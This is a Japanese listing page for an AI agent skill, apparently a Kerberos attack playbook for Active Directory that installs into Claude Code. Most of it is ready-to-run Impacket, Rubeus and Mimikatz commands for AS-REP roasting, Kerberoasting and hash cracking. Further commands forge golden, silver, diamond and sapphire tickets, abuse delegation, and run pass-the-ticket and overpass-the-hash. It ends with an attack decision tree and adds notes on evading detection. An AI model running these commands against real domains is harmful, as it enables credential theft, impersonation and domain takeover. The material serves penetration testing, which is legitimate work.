active-directory-kerberos-attacks について
active-directory-kerberos-attacksは、Active Directory環境のKerberosを評価するセキュリティスキルです。チケットのクラッキングや偽造、委任の悪用、チケット認証を扱い、手法ごとの違いと前提条件を説明します。
主な機能
- 01AS-REP RoastingとKerberoasting
- 02Golden、silver、diamond、sapphireチケット
- 03非制約・制約付き・リソースベースの委任
- 04Pass-the-ticketとOverpass-the-hash
- 05Kerberosのダブルホップ対策
活用シーン
- 01AD環境のKerberos露出を評価する
- 02サービスチケットとAS-REP Roastingの経路を確認する
- 03委任設定と攻撃チェーンを分析する
- 04ラテラルムーブメントでのチケット利用を把握する
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill active-directory-kerberos-attacksインストール後、Claude Code で/active-directory-kerberos-attacksを入力して読み込まれたか確認します。
同梱ファイルKERBEROS_ATTACK_CHAINS.md
詳細
スキル:Kerberos 攻撃プレイブック — AD 攻撃のエキスパートガイド
AI LOAD INSTRUCTION:AD 環境向けの Kerberos 攻撃手法を解説します。AS-REP ロースティング、Kerberoasting、Golden/Silver/Diamond/Sapphire チケット、委任攻撃、Pass-the-Ticket、Overpass-the-Hash を扱います。ベースモデルでは、チケットの種類の違い、委任チェーンの細かな仕様、検知回避に伴うトレードオフを見落としがちです。
0. 関連するルーティング
詳しく調べる前に、以下の読み込みを検討してください。
- Kerberos と組み合わせて使われることが多い ACL ベースの AD 攻撃については、active-directory-acl-abuse
- ADCS ベースの永続化(Golden Certificate)については、active-directory-certificate-services
- Kerberos の悪用を補完する NTLM リレー攻撃については、ntlm-relay-coercion
- チケット取得後のラテラルムーブメントについては、windows-lateral-movement
高度なリファレンス
以下が必要な場合は、KERBEROS_ATTACK_CHAINS.md も読み込んでください。
- Kerberos と ACL の悪用、ADCS、リレーを組み合わせた複数ステップの攻撃チェーン
- 初期侵入からドメイン管理者に至るまでのエンドツーエンドのシナリオ
- 委任を利用した攻撃の連鎖フロー
1. Kerberos 認証の基本
Client KDC (DC) Service
│ │ │
│── AS-REQ ────────→│ │ (1) Request TGT with user creds
│←─ AS-REP ─────────│ │ (2) Receive TGT (encrypted with krbtgt hash)
│ │ │
│── TGS-REQ ───────→│ │ (3) Present TGT, request service ticket
│←─ TGS-REP ────────│ │ (4) Receive TGS (encrypted with service hash)
│ │ │
│── AP-REQ ─────────────────────────────→│ (5) Present TGS to service
│←─ AP-REP ──────────────────────────────│ (6) Mutual auth (optional)
2. AS-REP ロースティング
「Kerberos の事前認証を不要にする」が設定されたユーザーは、パスワードを知らなくても AS-REP を要求できます。
脆弱なユーザーを列挙する
# Impacket — from Linux
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt
# Impacket — with domain creds (enumerate automatically)
GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request
# Rubeus — from Windows (domain-joined)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# PowerView — enumerate users
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
AS-REP ハッシュをクラックする
# Hashcat mode 18200
hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule
# John
john asrep.txt --wordlist=rockyou.txt
3. Kerberoasting
ドメインユーザーであれば誰でも、SPN を持つアカウントの TGS を要求できます。TGS はサービスアカウントの NTLM ハッシュで暗号化されます。
サービスチケットを要求する
# Impacket
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt
# Rubeus (from Windows)
Rubeus.exe kerberoast /outfile:tgs.txt
# Rubeus — target specific SPN / high-value accounts
Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt
# PowerView + manual request
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"
TGS ハッシュをクラックする
# Hashcat mode 13100 (RC4) or 19700 (AES)
hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule
# RC4 tickets crack much faster than AES256 — target RC4 if possible
# Rubeus: /tgtdeleg forces RC4 on some configs
Rubeus.exe kerberoast /tgtdeleg
4. チケットの偽造 — Golden、Silver、Diamond、Sapphire
Golden Ticket
krbtgt ハッシュを使って TGT を偽造し、存在しないユーザーを含む任意のユーザーになりすまします。
# Impacket — forge golden ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator
# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt
# Rubeus
Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt
前提条件:krbtgt の NTLM ハッシュ(DCSync または NTDS.dit から取得) 永続性:krbtgt のパスワードが2回変更されるまで有効です。
Silver Ticket
サービスアカウントのハッシュを使って TGS を偽造します。KDC との通信は不要で、特定のサービスにのみアクセスできます。
# Impacket — forge silver ticket for CIFS (file share)
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator
# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt
| 対象サービス | SPN 形式 | 用途 |
|---|---|---|
| ファイル共有 | cifs/host | SMB 共有へのアクセス |
| WinRM | http/host | リモート PowerShell |
| LDAP | ldap/dc | DCSync に類似したクエリ |
| MSSQL | MSSQLSvc/host:1433 | データベースへのアクセス |
| Exchange | http/mail.domain.com | メールボックスへのアクセス |
Diamond Ticket
正規に発行された TGT を変更するため、Golden Ticket より検知が困難です。
# Rubeus — request real TGT then modify PAC
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt
利点:チケットのメタデータ(タイムスタンプ、暗号化の種類)が、実際の TGT 発行時と一致します。
Sapphire Ticket
S4U2Self を使って対象ユーザーの実際の PAC を取得し、それを偽造チケットに埋め込みます。
# Rubeus
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg /ptt
利点:PAC は KDC から取得した本物のコピーであるため、検知が非常に困難です。
5. 委任攻撃
無制約委任
無制約委任が設定されたホストは、ユーザーの TGT をメモリに保存します。
# Enumerate (PowerView)
Get-DomainComputer -Unconstrained | Select-Object dnshostname
# Coerce admin authentication → capture TGT (Rubeus monitor mode)
Rubeus.exe monitor /interval:5 /nowrap
# Trigger via PrinterBug / PetitPotam → DC authenticates → TGT captured
SpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com
制約付き委任(S4U2Proxy)
# Enumerate
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto
# S4U2Self + S4U2Proxy → get TGS for allowed service as any user
getST.py -spn cifs/target.domain.com -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP
# Rubeus
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt
リソースベースの制約付き委任(RBCD)
対象の msDS-AllowedToActOnBehalfOfOtherIdentity に対する書き込みアクセスが必要です。
# 1. Create or control a computer account (MAQ > 0)
addcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN/user:password
# 2. Set RBCD on target
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN/user:password
# 3. S4U2Self + S4U2Proxy from controlled account
getST.py -spn cifs/TARGET.DOMAIN.COM -impersonate administrator DOMAIN/'FAKE$':'P@ss123' -dc-ip DC_IP
# 4. Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass DOMAIN/[email protected]
6. Pass-the-Ticket と Overpass-the-Hash
Pass-the-Ticket
# Impacket — use .ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass DOMAIN/[email protected]
# Mimikatz — inject .kirbi ticket into session
kerberos::ptt ticket.kirbi
# Rubeus
Rubeus.exe ptt /ticket:base64_ticket_blob
Overpass-the-Hash(Pass-the-Key)
NTLM ハッシュを使って Kerberos TGT を要求し、純粋な Kerberos 認証を行います(NTLM のログ記録を回避します)。
# Impacket
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache
# Rubeus (from Windows)
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt
# Mimikatz
sekurlsa::pth /user:administrator /domain:DOMAIN.COM /ntlm:NTLM_HASH /run:cmd.exe
7. Kerberos のダブルホップ問題
Kerberos で 2 ホップ(A → B → C)を経由して認証する場合、B は既定では A の資格情報を C に転送できません。
解決策
| 方法 | 仕組み | リスク |
|---|---|---|
| CredSSP | 実際の資格情報を B に送信します | 資格情報の漏えい |
| B での無制約委任 | B が A の TGT を保存します | 過剰な権限 |
| 制約付き委任 | B に C への委任を許可します | 推奨 — 対象を限定 |
| RBCD | C が B に委任を許可します | 最新で柔軟 |
| 入れ子の Invoke-Command | 入れ子のセッションで -Credential パラメーターを使用します | スクリプト内でパスワードが露出 |
8. Kerberos 攻撃の決定木
AD environment — targeting Kerberos
│
├── Have domain user creds?
│ ├── Kerberoast → crack service account hashes (§3)
│ ├── Enumerate users without preauth → AS-REP roast (§2)
│ ├── Enumerate delegation → unconstrained/constrained/RBCD (§5)
│ └── Enumerate SPNs for high-value accounts
│
├── Have service account hash?
│ ├── Silver ticket for that service (§4)
│ └── If constrained delegation → S4U2Proxy chain (§5)
│
├── Have krbtgt hash?
│ ├── Golden ticket → any user, any service (§4)
│ ├── Diamond ticket → stealthier forging (§4)
│ └── Sapphire ticket → hardest to detect (§4)
│
├── Compromised host with unconstrained delegation?
│ ├── Monitor for incoming TGTs (Rubeus monitor)
│ ├── Coerce DC authentication (PrinterBug/PetitPotam)
│ └── Capture DC TGT → DCSync
│
├── Can write to target's msDS-AllowedToActOnBehalfOfOtherIdentity?
│ └── RBCD attack (§5) → create machine account + delegate
│
├── Have NTLM hash but need Kerberos auth?
│ └── Overpass-the-Hash → request TGT (§6)
│
└── Have .kirbi / .ccache ticket?
└── Pass-the-Ticket → use directly (§6)